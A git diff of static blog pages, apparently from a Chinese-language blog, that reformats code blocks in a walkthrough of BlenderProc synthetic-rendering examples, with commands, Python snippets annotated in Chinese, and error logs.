Paper-Rethinking Text Segmentation：A Novel Dat
var highlightShrink = "";
var HighlightHeightLimit = "";
+
+
diff --git a/page/29/index.html b/page/29/index.html
index a56d82a268..12d71c0842 100644
--- a/page/29/index.html
+++ b/page/29/index.html
@@ -43,8 +43,6 @@
-
-
@@ -723,6 +721,8 @@
Paper-Synthetic Data for Text Localisation in Na
var highlightShrink = "";
var HighlightHeightLimit = "";
+
+
diff --git a/page/3/index.html b/page/3/index.html
index 4d3252805a..9112b9835b 100644
--- a/page/3/index.html
+++ b/page/3/index.html
@@ -43,8 +43,6 @@
-
-
@@ -715,6 +713,8 @@
Diary-A Survey of Synthetic Data Augmentation Me
var highlightShrink = "";
var HighlightHeightLimit = "";
+
+
diff --git a/page/30/index.html b/page/30/index.html
index 06017b4efb..85a3c50247 100644
--- a/page/30/index.html
+++ b/page/30/index.html
@@ -43,8 +43,6 @@
-
-
@@ -723,6 +721,8 @@
blenderproc run examples/advanced/auto_shading/main.py examples/advanced/auto_shading/camera_position examples/advanced/auto_shading/scene.blend examples/advanced/auto_shading/output
+
1
blenderproc run examples/advanced/auto_shading/main.py examples/advanced/auto_shading/camera_position examples/advanced/auto_shading/scene.blend examples/advanced/auto_shading/output
examples/advanced/auto_shading/main.py: path to the main python file to run.
examples/advanced/auto_shading/camera_position: text file with parameters of camera positions.
@@ -414,10 +412,10 @@
Usage
examples/advanced/auto_shading/output: path to the output directory.
Visualization
-
blenderproc vis hdf5 examples/advanced/auto_shading/output/0.hdf5
+
1
blenderproc vis hdf5 examples/advanced/auto_shading/output/0.hdf5
Code
-
# Find the object with name "Sphere" sphere = bproc.filter.one_by_attr(objs, "name", "Sphere") # Set it to AUTO shading, so all angles greater than 45 degrees will be shaded flat. sphere.set_shading_mode("auto", 45)
# Find the object with name "Sphere.001" other_sphere = bproc.filter.one_by_attr(objs, "name", "Sphere.001") # Set it to smooth shading, so all angles will be shaded flat. other_sphere.set_shading_mode("smooth")
+
1 2 3 4 5 6 7 8 9
# Find the object with name "Sphere" sphere = bproc.filter.one_by_attr(objs, "name", "Sphere") # Set it to AUTO shading, so all angles greater than 45 degrees will be shaded flat. sphere.set_shading_mode("auto", 45)
# Find the object with name "Sphere.001" other_sphere = bproc.filter.one_by_attr(objs, "name", "Sphere.001") # Set it to smooth shading, so all angles will be shaded flat. other_sphere.set_shading_mode("smooth")
blenderproc run examples/advanced/camera_depth_of_field/main.py examples/resources/scene.obj examples/advanced/camera_depth_of_field/output
+
1
blenderproc run examples/advanced/camera_depth_of_field/main.py examples/resources/scene.obj examples/advanced/camera_depth_of_field/output
examples/advanced/camera_depth_of_field/main.py: path to the main python file to run.
examples/resources/scene.obj: path to the object file with the basic scene.
examples/advanced/camera_depth_of_field/output: path to the output directory.
Visualization
-
blenderproc vis hdf5 examples/advanced/camera_depth_of_field/output/0.hdf5
+
1
blenderproc vis hdf5 examples/advanced/camera_depth_of_field/output/0.hdf5
Code
设置视点：
-
# Create an empty object which will represent the cameras focus point focus_point = bproc.object.create_empty("Camera Focus Point") focus_point.set_location([0.5, -1.5, 3])
-
# define the camera intrinsics bproc.camera.set_resolution(512, 512) # Set the empty object as focus point and set fstop to regulate the sharpness of the scene bproc.camera.add_depth_of_field(focus_point, fstop_value=0.25)
+
1 2 3
# Create an empty object which will represent the cameras focus point focus_point = bproc.object.create_empty("Camera Focus Point") focus_point.set_location([0.5, -1.5, 3])
+
1 2 3 4
# define the camera intrinsics bproc.camera.set_resolution(512, 512) # Set the empty object as focus point and set fstop to regulate the sharpness of the scene bproc.camera.add_depth_of_field(focus_point, fstop_value=0.25)
blenderproc vis coco -i 1 -c coco_annotations.json -b examples/advanced/coco_annotations/output/coco_data
+
1
blenderproc vis coco -i 1 -c coco_annotations.json -b examples/advanced/coco_annotations/output/coco_data
然后你就会喜提报错：
-
AttributeError: module 'numpy' has no attribute 'bool'. `np.bool` was a deprecated alias for the builtin `bool`. To avoid this error in existing code, use `bool` by itself. Doing this will not modify any behavior and is safe. If you specifically wanted the numpy scalar type, use `np.bool_` here. The aliases was originally deprecated in NumPy 1.20; for more details and guidance see the original release note at: https://numpy.org/devdocs/release/1.20.0-notes.html#deprecations. Did you mean: 'bool_'?
+
1 2 3 4
AttributeError: module 'numpy' has no attribute 'bool'. `np.bool` was a deprecated alias for the builtin `bool`. To avoid this error in existing code, use `bool` by itself. Doing this will not modify any behavior and is safe. If you specifically wanted the numpy scalar type, use `np.bool_` here. The aliases was originally deprecated in NumPy 1.20; for more details and guidance see the original release note at: https://numpy.org/devdocs/release/1.20.0-notes.html#deprecations. Did you mean: 'bool_'?
# 对传入的三个可选参数进行类型检查和处理，确保它们都是列表类型。如果为 None，就改为空列表 instance_segmaps = [] if instance_segmaps isNoneelselist(instance_segmaps) colors = [] if colors isNoneelselist(colors) #（怎么代码风格跟上面的不太一样？） if instance_attribute_maps isNone: instance_attribute_maps = []
# 检查 colors[0] 是否是四维数组，如果是，则抛出 ValueError 异常。这是因为 BlenderProc 目前不支持渲染立体图像，只能生成左右视图分别的图像/分割图像。 iflen(colors) > 0andlen(colors[0].shape) == 4: raise ValueError("BlenderProc currently does not support writing coco annotations for stereo images. " "However, you can enter left and right images / segmaps separately.")
+
1 2 3 4 5 6 7 8 9 10 11
# 对传入的三个可选参数进行类型检查和处理，确保它们都是列表类型。如果为 None，就改为空列表 instance_segmaps = [] if instance_segmaps isNoneelselist(instance_segmaps) colors = [] if colors isNoneelselist(colors) #（怎么代码风格跟上面的不太一样？） if instance_attribute_maps isNone: instance_attribute_maps = []
# 检查 colors[0] 是否是四维数组，如果是，则抛出 ValueError 异常。这是因为 BlenderProc 目前不支持渲染立体图像，只能生成左右视图分别的图像/分割图像。 iflen(colors) > 0andlen(colors[0].shape) == 4: raise ValueError("BlenderProc currently does not support writing coco annotations for stereo images. " "However, you can enter left and right images / segmaps separately.")
# 这些代码块用于查找渲染时生成的 RGB 图像、实例分割图像和属性映射文件的路径 ifnot instance_segmaps: # 如果 instance_segmaps 列表是空的，则该代码会查找实例分割图像的路径，使用 Utility.find_registered_output_by_key() 方法查找已注册的输出 # Find path pattern of segmentation images segmentation_map_output = Utility.find_registered_output_by_key(segmap_output_key) if segmentation_map_output isNone: # 如果找不到 key 为 segmap_output_key 的输出，则引发 RuntimeError 异常，提示用户在运行 write_coco_annotations() 函数之前先运行 SegMapRenderer 模块 raise RuntimeError(f"There is no output registered with key {segmap_output_key}. Are you sure you " f"ran the SegMapRenderer module before?")
ifnot colors: # Find path pattern of rgb images # 如果 colors 列表为空，则该代码会查找 RGB 图像的路径 rgb_output = Utility.find_registered_output_by_key(rgb_output_key) if rgb_output isNone: # 如果找不到 key 为 rgb_output_key 的输出，则引发 RuntimeError 异常，提示用户在运行 write_coco_annotations() 函数之前先运行 RgbRenderer 模块 raise RuntimeError(f"There is no output registered with key {rgb_output_key}. Are you sure you " f"ran the RgbRenderer module before?")
ifnot instance_attribute_maps: # Find path of name class mapping csv file # 如果 instance_attribute_maps 列表为空，则该代码会查找实例分割图像到名称、类别标签的映射文件的路径 segcolormap_output = Utility.find_registered_output_by_key(segcolormap_output_key) if segcolormap_output isNone: # 如果找不到 key 为 segcolormap_output_key 的输出，则引发 RuntimeError 异常，提示用户在运行 write_coco_annotations() 函数之前先运行 SegMapRenderer 模块，并将 map_by 参数设置为 instance raise RuntimeError(f"There is no output registered with key {segcolormap_output_key}. Are you sure you " f"ran the SegMapRenderer module with 'map_by' set to 'instance' before?")
# 这些代码块用于查找渲染时生成的 RGB 图像、实例分割图像和属性映射文件的路径 ifnot instance_segmaps: # 如果 instance_segmaps 列表是空的，则该代码会查找实例分割图像的路径，使用 Utility.find_registered_output_by_key() 方法查找已注册的输出 # Find path pattern of segmentation images segmentation_map_output = Utility.find_registered_output_by_key(segmap_output_key) if segmentation_map_output isNone: # 如果找不到 key 为 segmap_output_key 的输出，则引发 RuntimeError 异常，提示用户在运行 write_coco_annotations() 函数之前先运行 SegMapRenderer 模块 raise RuntimeError(f"There is no output registered with key {segmap_output_key}. Are you sure you " f"ran the SegMapRenderer module before?")
ifnot colors: # Find path pattern of rgb images # 如果 colors 列表为空，则该代码会查找 RGB 图像的路径 rgb_output = Utility.find_registered_output_by_key(rgb_output_key) if rgb_output isNone: # 如果找不到 key 为 rgb_output_key 的输出，则引发 RuntimeError 异常，提示用户在运行 write_coco_annotations() 函数之前先运行 RgbRenderer 模块 raise RuntimeError(f"There is no output registered with key {rgb_output_key}. Are you sure you " f"ran the RgbRenderer module before?")
ifnot instance_attribute_maps: # Find path of name class mapping csv file # 如果 instance_attribute_maps 列表为空，则该代码会查找实例分割图像到名称、类别标签的映射文件的路径 segcolormap_output = Utility.find_registered_output_by_key(segcolormap_output_key) if segcolormap_output isNone: # 如果找不到 key 为 segcolormap_output_key 的输出，则引发 RuntimeError 异常，提示用户在运行 write_coco_annotations() 函数之前先运行 SegMapRenderer 模块，并将 map_by 参数设置为 instance raise RuntimeError(f"There is no output registered with key {segcolormap_output_key}. Are you sure you " f"ran the SegMapRenderer module with 'map_by' set to 'instance' before?")
-
# 用于确定输出的 COCO 格式注释文件的路径，并在需要追加输出时计算图像编号的偏移量 coco_annotations_path = os.path.join(output_dir, "coco_annotations.json") # Calculate image numbering offset, if append_to_existing_output is activated and coco data exists if append_to_existing_output and os.path.exists(coco_annotations_path): # 如果 append_to_existing_output 为 True，且文件系统中存在名为 'coco_annotations.json' 的文件，则将其加载到内存中 withopen(coco_annotations_path, 'r', encoding="utf-8") as fp: existing_coco_annotations = json.load(fp) # 获取已存在图像 ID 的最大值，并加 1 作为图像编号的偏移量。这可以确保新生成的注释不会与已有的注释文件重复。 image_offset = max(image["id"] for image in existing_coco_annotations["images"]) + 1 else: # 如果 append_to_existing_output 参数为 False 或没有找到现有的注释文件，则图像编号的偏移量为 0，并且 existing_coco_annotations 变量设置为 None image_offset = 0 existing_coco_annotations = None
+
1 2 3 4 5 6 7 8 9 10 11 12 13
# 用于确定输出的 COCO 格式注释文件的路径，并在需要追加输出时计算图像编号的偏移量 coco_annotations_path = os.path.join(output_dir, "coco_annotations.json") # Calculate image numbering offset, if append_to_existing_output is activated and coco data exists if append_to_existing_output and os.path.exists(coco_annotations_path): # 如果 append_to_existing_output 为 True，且文件系统中存在名为 'coco_annotations.json' 的文件，则将其加载到内存中 withopen(coco_annotations_path, 'r', encoding="utf-8") as fp: existing_coco_annotations = json.load(fp) # 获取已存在图像 ID 的最大值，并加 1 作为图像编号的偏移量。这可以确保新生成的注释不会与已有的注释文件重复。 image_offset = max(image["id"] for image in existing_coco_annotations["images"]) + 1 else: # 如果 append_to_existing_output 参数为 False 或没有找到现有的注释文件，则图像编号的偏移量为 0，并且 existing_coco_annotations 变量设置为 None image_offset = 0 existing_coco_annotations = None
-
# collect all RGB paths new_coco_image_paths = [] # collect all mappings from csv (backwards compat) segcolormaps = [] # collect all instance segmaps (backwards compat) inst_segmaps = []
# for each rendered frame # 遍历从 bpy.context.scene.frame_start 到 bpy.context.scene.frame_end 的每一帧 for frame inrange(bpy.context.scene.frame_start, bpy.context.scene.frame_end):
# 如果 instance_attribute_maps 列表为空，则读取映射文件（segcolormap_output）以获取对象名称/类别到整数的映射，将其存储在 segcolormaps 列表中 ifnot instance_attribute_maps: # read colormappings, which include object name/class to integer mapping segcolormap = [] withopen(segcolormap_output["path"] % frame, 'r', encoding="utf-8") as csvfile: reader = csv.DictReader(csvfile) for mapping in reader: segcolormap.append(mapping) segcolormaps.append(segcolormap)
# collect all RGB paths new_coco_image_paths = [] # collect all mappings from csv (backwards compat) segcolormaps = [] # collect all instance segmaps (backwards compat) inst_segmaps = []
# for each rendered frame # 遍历从 bpy.context.scene.frame_start 到 bpy.context.scene.frame_end 的每一帧 for frame inrange(bpy.context.scene.frame_start, bpy.context.scene.frame_end):
# 如果 instance_attribute_maps 列表为空，则读取映射文件（segcolormap_output）以获取对象名称/类别到整数的映射，将其存储在 segcolormaps 列表中 ifnot instance_attribute_maps: # read colormappings, which include object name/class to integer mapping segcolormap = [] withopen(segcolormap_output["path"] % frame, 'r', encoding="utf-8") as csvfile: reader = csv.DictReader(csvfile) for mapping in reader: segcolormap.append(mapping) segcolormaps.append(segcolormap)
blenderproc run examples/advanced/diffuse_color_image/main.py examples/resources/scene.obj examples/advanced/diffuse_color_image/output
+
1
blenderproc run examples/advanced/diffuse_color_image/main.py examples/resources/scene.obj examples/advanced/diffuse_color_image/output
examples/advanced/diffuse_color_image/main.py: path to the main python file to run.
examples/resources/scene.obj: path to the object file with the basic scene.
examples/advanced/diffuse_color_image/output: path to the output directory.
Visualization
-
blenderproc vis hdf5 examples/advanced/diffuse_color_image/output/0.hdf5
+
1
blenderproc vis hdf5 examples/advanced/diffuse_color_image/output/0.hdf5
Code
-
# Also enable the diffuse color image, which describes the base color of the textures bproc.renderer.enable_diffuse_color_output()
+
1 2
# Also enable the diffuse color image, which describes the base color of the textures bproc.renderer.enable_diffuse_color_output()
How to apply dust to objects
Usage
-
blenderproc run examples/advanced/dust/main.py resources/haven/models/ArmChair_01/ArmChair_01_2k.blend resources/haven examples/datasets/haven/output
+
1
blenderproc run examples/advanced/dust/main.py resources/haven/models/ArmChair_01/ArmChair_01_2k.blend resources/haven examples/datasets/haven/output
examples/advanced/dust/main.py: path to the main python file to run.
resources/haven/models/ArmChair_01/ArmChair_01.blend: Path to the blend file, from the haven dataset, browse the model folder, for all possible options
@@ -569,14 +567,14 @@
Usage
设置好路径开跑！
-
blenderproc run examples/advanced/dust/main.py resources/haven/models/GreenChair_01_4k.blend D:\Study\1st-year-master\Code\BlenderProc-main\resources\haven examples/datasets/haven/output
+
1
blenderproc run examples/advanced/dust/main.py resources/haven/models/GreenChair_01_4k.blend D:\Study\1st-year-master\Code\BlenderProc-main\resources\haven examples/datasets/haven/output
# Add dust to all materials of the loaded object for material in obj.get_materials(): bproc.material.add_dust(material, strength=0.8, texture_scale=0.05)
+
1 2 3
# Add dust to all materials of the loaded object for material in obj.get_materials(): bproc.material.add_dust(material, strength=0.8, texture_scale=0.05)
blenderproc run examples/advanced/entity_displacement_modifier/main.py examples/resources/scene.obj examples/advanced/entity_displacement_modifier/output
+
1
blenderproc run examples/advanced/entity_displacement_modifier/main.py examples/resources/scene.obj examples/advanced/entity_displacement_modifier/output
Visualization
-
blenderproc vis hdf5 examples/advanced/entity_displacement_modifier/output/0.hdf5
+
1
blenderproc vis hdf5 examples/advanced/entity_displacement_modifier/output/0.hdf5
Code
-
# Add displacement to all objects for obj in objs: # Create a uv mapping based on a cylinder projection obj.add_uv_mapping("cylinder")
# Create a random procedural texture texture = bproc.material.create_procedural_texture('CLOUDS') # Displace the vertices of the object based on that random texture obj.add_displace_modifier( texture=texture, strength=random.gauss(0, 0.5), subdiv_level=random.randint(1, 3), )
+
1 2 3 4 5 6 7 8 9 10 11 12 13
# Add displacement to all objects for obj in objs: # Create a uv mapping based on a cylinder projection obj.add_uv_mapping("cylinder")
# Create a random procedural texture texture = bproc.material.create_procedural_texture('CLOUDS') # Displace the vertices of the object based on that random texture obj.add_displace_modifier( texture=texture, strength=random.gauss(0, 0.5), subdiv_level=random.randint(1, 3), )
blenderproc run examples/advanced/lens_distortion/main.py examples/resources/scene.obj examples/advanced/lens_distortion/output
+
1
blenderproc run examples/advanced/lens_distortion/main.py examples/resources/scene.obj examples/advanced/lens_distortion/output
simple calibration image by loading intrinsics and extrinsics from a file:
-
blenderproc run examples/advanced/lens_distortion/main_callab.py examples/advanced/lens_distortion/callab_platte.obj examples/advanced/lens_distortion/camera_calibration_callab_img1.cal examples/advanced/lens_distortion/output
+
1
blenderproc run examples/advanced/lens_distortion/main_callab.py examples/advanced/lens_distortion/callab_platte.obj examples/advanced/lens_distortion/camera_calibration_callab_img1.cal examples/advanced/lens_distortion/output
fairly distorted image:
-
blenderproc run examples/advanced/lens_distortion/main_callab.py examples/advanced/lens_distortion/callab_platte_justin.obj examples/advanced/lens_distortion/camera_calibration_callab_img2.cal examples/advanced/lens_distortion/output
+
1
blenderproc run examples/advanced/lens_distortion/main_callab.py examples/advanced/lens_distortion/callab_platte_justin.obj examples/advanced/lens_distortion/camera_calibration_callab_img2.cal examples/advanced/lens_distortion/output
加载对象；将它们定位到世界参考帧的原点。
@@ -648,7 +646,7 @@
Usage
Material Randomization
Usage
-
blenderproc run examples/advanced/material_randomizer/main.py examples/resources/scene.obj examples/advanced/material_randomizer/output
+
1
blenderproc run examples/advanced/material_randomizer/main.py examples/resources/scene.obj examples/advanced/material_randomizer/output
examples/advanced/material_randomizer/main.py: path to the main python file to run.
examples/resources/scene.obj: path to the object file with the basic scene.
@@ -659,7 +657,7 @@
Visualizaton
Code
-
# Collect all materials materials = bproc.material.collect_all()
# Go through all objects for obj in objs: # For each material of the object for i inrange(len(obj.get_materials())): # In 50% of all cases if np.random.uniform(0, 1) <= 0.5: # Replace the material with a random one obj.set_material(i, random.choice(materials))
+
1 2 3 4 5 6 7 8 9 10 11
# Collect all materials materials = bproc.material.collect_all()
# Go through all objects for obj in objs: # For each material of the object for i inrange(len(obj.get_materials())): # In 50% of all cases if np.random.uniform(0, 1) <= 0.5: # Replace the material with a random one obj.set_material(i, random.choice(materials))
这段代码的作用是对已经加载到 Blender 中的所有对象进行操作，随机替换这些对象的材质。
具体而言，代码执行了以下几个步骤：
@@ -674,14 +672,14 @@
Code
Motion Blur and Rolling Shutter
在这个例子中，我们展示如何生成运动模糊和滚动快门效果。
这些效果是可见的，如果相机或对象在帧之间移动。相机在物体静止的情况下经历以下运动：
-
0 -1041.300# initial position 0 -1541.300# moving away from object 5 -1541.300# moving to the right 5 -1581.300# moving upwards 1 -1151.300# combined motion (to the left, towards object and downwards)
+
1 2 3 4 5
0 -1041.300# initial position 0 -1541.300# moving away from object 5 -1541.300# moving to the right 5 -1581.300# moving upwards 1 -1151.300# combined motion (to the left, towards object and downwards)
Usage
-
blenderproc run examples/advanced/motion_blur_rolling_shutter/config_motion_blur.yaml examples/advanced/motion_blur_rolling_shutter/camera_positions examples/resources/scene.obj examples/advanced/motion_blur_rolling_shutter/output
+
1
blenderproc run examples/advanced/motion_blur_rolling_shutter/config_motion_blur.yaml examples/advanced/motion_blur_rolling_shutter/camera_positions examples/resources/scene.obj examples/advanced/motion_blur_rolling_shutter/output
blenderproc run examples/advanced/object_pose_sampling/main.py examples/resources/camera_positions examples/resources/scene.obj examples/advanced/object_pose_sampling/output
+
1
blenderproc run examples/advanced/object_pose_sampling/main.py examples/resources/camera_positions examples/resources/scene.obj examples/advanced/object_pose_sampling/output
examples/advanced/object_pose_sampling/main.py: path to the main python file to run.
examples/resources/camera_positions: text file with parameters of camera positions.
@@ -689,15 +687,15 @@
Usage
examples/advanced/object_pose_sampling/output: path to the output directory.
Visualization
-
blenderproc vis hdf5 examples/advanced/object_pose_sampling/output/0.hdf5
+
1
blenderproc vis hdf5 examples/advanced/object_pose_sampling/output/0.hdf5
Code
-
# Define a function that samples the pose of a given object defsample_pose(obj: bproc.types.MeshObject): obj.set_location(np.random.uniform([-5, -5, -5], [5, 5, 5])) obj.set_rotation_euler(np.random.uniform([0, 0, 0], [np.pi * 2, np.pi * 2, np.pi * 2]))
# Sample the poses of all objects, while making sure that no objects collide with each other. bproc.object.sample_poses( objs, sample_pose_func=sample_pose, objects_to_check_collisions=objs )
+
1 2 3 4 5 6 7 8 9 10 11
# Define a function that samples the pose of a given object defsample_pose(obj: bproc.types.MeshObject): obj.set_location(np.random.uniform([-5, -5, -5], [5, 5, 5])) obj.set_rotation_euler(np.random.uniform([0, 0, 0], [np.pi * 2, np.pi * 2, np.pi * 2]))
# Sample the poses of all objects, while making sure that no objects collide with each other. bproc.object.sample_poses( objs, sample_pose_func=sample_pose, objects_to_check_collisions=objs )
blenderproc run examples/advanced/on_surface_object_sampling/main.py examples/resources/camera_positions examples/advanced/on_surface_object_sampling/scene.blend examples/advanced/on_surface_object_sampling/output
+
1
blenderproc run examples/advanced/on_surface_object_sampling/main.py examples/resources/camera_positions examples/advanced/on_surface_object_sampling/scene.blend examples/advanced/on_surface_object_sampling/output
examples/advanced/on_surface_object_sampling/main.py: path to the main python file to run.
examples/resources/camera_positions: text file with parameters of camera positions.
@@ -705,11 +703,11 @@
Usage
examples/advanced/on_surface_object_sampling/output: path to the output directory.
Visualization
-
blenderproc vis hdf5 examples/advanced/on_surface_object_sampling/output/0.hdf5
+
1
blenderproc vis hdf5 examples/advanced/on_surface_object_sampling/output/0.hdf5
Code
-
# Define a function that samples the pose of a given object defsample_pose(obj: bproc.types.MeshObject): # Sample the spheres location above the surface obj.set_location(bproc.sampler.upper_region( objects_to_sample_on=[surface], min_height=1, max_height=4, use_ray_trace_check=False )) obj.set_rotation_euler(np.random.uniform([0, 0, 0], [np.pi * 2, np.pi * 2, np.pi * 2]))
+
1 2 3 4 5 6 7 8 9 10
# Define a function that samples the pose of a given object defsample_pose(obj: bproc.types.MeshObject): # Sample the spheres location above the surface obj.set_location(bproc.sampler.upper_region( objects_to_sample_on=[surface], min_height=1, max_height=4, use_ray_trace_check=False )) obj.set_rotation_euler(np.random.uniform([0, 0, 0], [np.pi * 2, np.pi * 2, np.pi * 2]))
# Sample the spheres on the surface spheres = bproc.object.sample_poses_on_surface(spheres, surface, sample_pose, min_distance=0.1, max_distance=10)
+
1 2
# Sample the spheres on the surface spheres = bproc.object.sample_poses_on_surface(spheres, surface, sample_pose, min_distance=0.1, max_distance=10)
设置刚体：
-
# Enable physics for spheres (active) and the surface (passive) for sphere in spheres: sphere.enable_rigidbody(True) surface.enable_rigidbody(False)
+
1 2 3 4
# Enable physics for spheres (active) and the surface (passive) for sphere in spheres: sphere.enable_rigidbody(True) surface.enable_rigidbody(False)
物理模拟：
-
# Run the physics simulation bproc.object.simulate_physics_and_fix_final_poses(min_simulation_time=2, max_simulation_time=4, check_object_interval=1)
+
1 2
# Run the physics simulation bproc.object.simulate_physics_and_fix_final_poses(min_simulation_time=2, max_simulation_time=4, check_object_interval=1)
Optical Flow
在本示例中，我们演示了如何获取连续关键帧之间的前向/后向流值。
如果相机或物体在帧之间移动，则流会变得可见。在这里，相机经过以下运动：
-
0 -1041.300# initial position 0 -1241.300# moving away from object 2 -1241.300# moving to the right 2 -1261.300# moving upwards 1 -1151.300# combined motion (to the left, towards object and downwards)
+
1 2 3 4 5
0 -1041.300# initial position 0 -1241.300# moving away from object 2 -1241.300# moving to the right 2 -1261.300# moving upwards 1 -1151.300# combined motion (to the left, towards object and downwards)
Usage
-
blenderproc run examples/advanced/optical_flow/main.py examples/advanced/optical_flow/camera_positions examples/resources/scene.obj examples/advanced/optical_flow/output
+
1
blenderproc run examples/advanced/optical_flow/main.py examples/advanced/optical_flow/camera_positions examples/resources/scene.obj examples/advanced/optical_flow/output
examples/advanced/optical_flow/main.py: path to the main python file to run.
examples/advanced/optical_flow/camera_positions: text file with parameters of camera positions.
@@ -747,10 +745,10 @@
Usage
examples/advanced/optical_flow/output: path to the output directory.
Usage
-
blenderproc vis hdf5 examples/advanced/optical_flow/output/1.hdf5
+
1
blenderproc vis hdf5 examples/advanced/optical_flow/output/1.hdf5
Code
-
# Render the optical flow (forward and backward) for all frames data.update(bproc.renderer.render_optical_flow(get_backward_flow=True, get_forward_flow=True, blender_image_coordinate_style=False))
+
1 2
# Render the optical flow (forward and backward) for all frames data.update(bproc.renderer.render_optical_flow(get_backward_flow=True, get_forward_flow=True, blender_image_coordinate_style=False))
在这个例子中，我们生成了一个物体 (Suzanne) 的渲染图像，并将它们粘贴到随机的背景图像上，随机化对象的位置、方向、材质属性和照明。这是一种简单的方法来生成用于训练分类、物体检测和分割任务的数据。它易于实现和使用，但与实际 3D 场景中的物体渲染相比通常会导致较差的结果。
Usage
-
blenderproc run examples/advanced/random_backgrounds/main.py examples/advanced/random_backgrounds/object.ply examples/advanced/random_backgrounds/output
+
1
blenderproc run examples/advanced/random_backgrounds/main.py examples/advanced/random_backgrounds/object.ply examples/advanced/random_backgrounds/output
examples/advanced/random_backgrounds/main.py: path to the main python file to run.
examples/advanced/random_backgrounds/object.ply: path to the object file.
# Load materials and objects that can be placed into the room materials = bproc.loader.load_ccmaterials(args.cc_material_path, ["Bricks", "Wood", "Carpet", "Tile", "Marble"]) interior_objects = [] for i inrange(15): interior_objects.extend(bproc.loader.load_ikea(args.ikea_path, ["bed", "chair", "desk", "bookshelf"]))
+
1 2 3 4 5
# Load materials and objects that can be placed into the room materials = bproc.loader.load_ccmaterials(args.cc_material_path, ["Bricks", "Wood", "Carpet", "Tile", "Marble"]) interior_objects = [] for i inrange(15): interior_objects.extend(bproc.loader.load_ikea(args.ikea_path, ["bed", "chair", "desk", "bookshelf"]))
# Construct random room and fill with interior_objects objects = bproc.constructor.construct_random_room(used_floor_area=25, interior_objects=interior_objects, materials=materials, amount_of_extrusions=5)
+
1 2 3 4
# Construct random room and fill with interior_objects objects = bproc.constructor.construct_random_room(used_floor_area=25, interior_objects=interior_objects, materials=materials, amount_of_extrusions=5)
blenderproc run examples/basics/basic/main.py examples/resources/camera_positions examples/resources/scene.obj examples/basics/basic/output
+
1
blenderproc run examples/basics/basic/main.py examples/resources/camera_positions examples/resources/scene.obj examples/basics/basic/output
即可开跑！我说婷婷，会报错：
-
It seems the freeimage library which is necessary to read .exr files cannot be found on your computer. Gonna try to download it automatically. Imageio: 'freeimage-3.15.1-win64.dll' was not found on your computer; downloading it now. Error while fetching file: <urlopen error timed out>. Error while fetching file: The read operation timed out. Error while fetching file: <urlopen error timed out>. Error while fetching file: <urlopen error timed out>.
+
1 2 3 4 5 6 7
It seems the freeimage library which is necessary to read .exr files cannot be found on your computer. Gonna try to download it automatically. Imageio: 'freeimage-3.15.1-win64.dll' was not found on your computer; downloading it now. Error while fetching file: <urlopen error timed out>. Error while fetching file: The read operation timed out. Error while fetching file: <urlopen error timed out>. Error while fetching file: <urlopen error timed out>.
File saved as C:\Users\XXXX\AppData\Local\imageio\freeimage\freeimage-3.15.1-win64.dll.
-
Warning: Changed install path from /home_local\XXX... to C:\Users\XXX..., there is no /home_local/ on this machine. Using blender in C:\Users\XXX\blender\blender-3.3.0-windows-x64 Using temporary directory: C:\Users\XXX\AppData\Local\Temp\blender_proc_b830ed3583e7442cbe7cde6a0b37bd2b Blender 3.3.0 (hash 0759f671ce1f built 2022-09-07 00:44:18) Selecting render devices... Device NVIDIA GeForce RTX 4060Laptop GPU of type OPTIX found and used. Device 13th Gen Intel Core i9-13900HX of type CPU found and used. Timer 'OBJ_import' took 1.5ms Fra:0 Mem:10.46M (Peak 10.69M) | Time:00:00.16 | Mem:0.00M, Peak:0.00M | Scene, ViewLayer | Synchronizing object | Cube Fra:0 Mem:10.47M (Peak 10.69M) | Time:00:00.17 | Mem:0.00M, Peak:0.00M | Scene, ViewLayer | Synchronizing object | Suzanne
Warning: Changed install path from /home_local\XXX... to C:\Users\XXX..., there is no /home_local/ on this machine. Using blender in C:\Users\XXX\blender\blender-3.3.0-windows-x64 Using temporary directory: C:\Users\XXX\AppData\Local\Temp\blender_proc_b830ed3583e7442cbe7cde6a0b37bd2b Blender 3.3.0 (hash 0759f671ce1f built 2022-09-07 00:44:18) Selecting render devices... Device NVIDIA GeForce RTX 4060Laptop GPU of type OPTIX found and used. Device 13th Gen Intel Core i9-13900HX of type CPU found and used. Timer 'OBJ_import' took 1.5ms Fra:0 Mem:10.46M (Peak 10.69M) | Time:00:00.16 | Mem:0.00M, Peak:0.00M | Scene, ViewLayer | Synchronizing object | Cube Fra:0 Mem:10.47M (Peak 10.69M) | Time:00:00.17 | Mem:0.00M, Peak:0.00M | Scene, ViewLayer | Synchronizing object | Suzanne
Merging data for frame 0 into examples/basics/basic/output\0.hdf5 Merging data for frame 1 into examples/basics/basic/output\1.hdf5
Blender quit Cleaning temporary directory
Visualization
-
blenderproc vis hdf5 examples/basics/basic/output/0.hdf5
+
1
blenderproc vis hdf5 examples/basics/basic/output/0.hdf5
渲染了 colors、depth、normals 三张图片：
Code
@@ -449,17 +447,17 @@
Code
examples/basics/basic/output：输出文件路径
-
import blenderproc as bproc import argparse
parser = argparse.ArgumentParser() parser.add_argument('camera', help="Path to the camera file, should be examples/resources/camera_positions") parser.add_argument('scene', help="Path to the scene.obj file, should be examples/resources/scene.obj") parser.add_argument('output_dir', help="Path to where the final files, will be saved, could be examples/basics/basic/output") args = parser.parse_args()
+
1 2 3 4 5 6 7 8
import blenderproc as bproc import argparse
parser = argparse.ArgumentParser() parser.add_argument('camera', help="Path to the camera file, should be examples/resources/camera_positions") parser.add_argument('scene', help="Path to the scene.obj file, should be examples/resources/scene.obj") parser.add_argument('output_dir', help="Path to where the final files, will be saved, could be examples/basics/basic/output") args = parser.parse_args()
初始化 blenderproc：
-
bproc.init()
+
1
bproc.init()
从 args.scene 中载入模型场景：
-
objs = bproc.loader.load_obj(args.scene)
+
1
objs = bproc.loader.load_obj(args.scene)
载入灯光：
-
# define a light and set its location and energy level light = bproc.types.Light() light.set_type("POINT") light.set_location([5, -5, 5]) light.set_energy(1000)
+
1 2 3 4 5
# define a light and set its location and energy level light = bproc.types.Light() light.set_type("POINT") light.set_location([5, -5, 5]) light.set_energy(1000)
载入相机：这段代码的作用是设置相机分辨率，并读取相机位置信息并转换为齐次相机-世界变换矩阵。
-
# define the camera resolution # 首先，调用 bproc.camera.set_resolution() 函数来定义相机的分辨率，该函数接受两个参数，即相机图像的宽度和高度。在这个示例中，我们将相机分辨率设置为 512x512。 bproc.camera.set_resolution(512, 512)
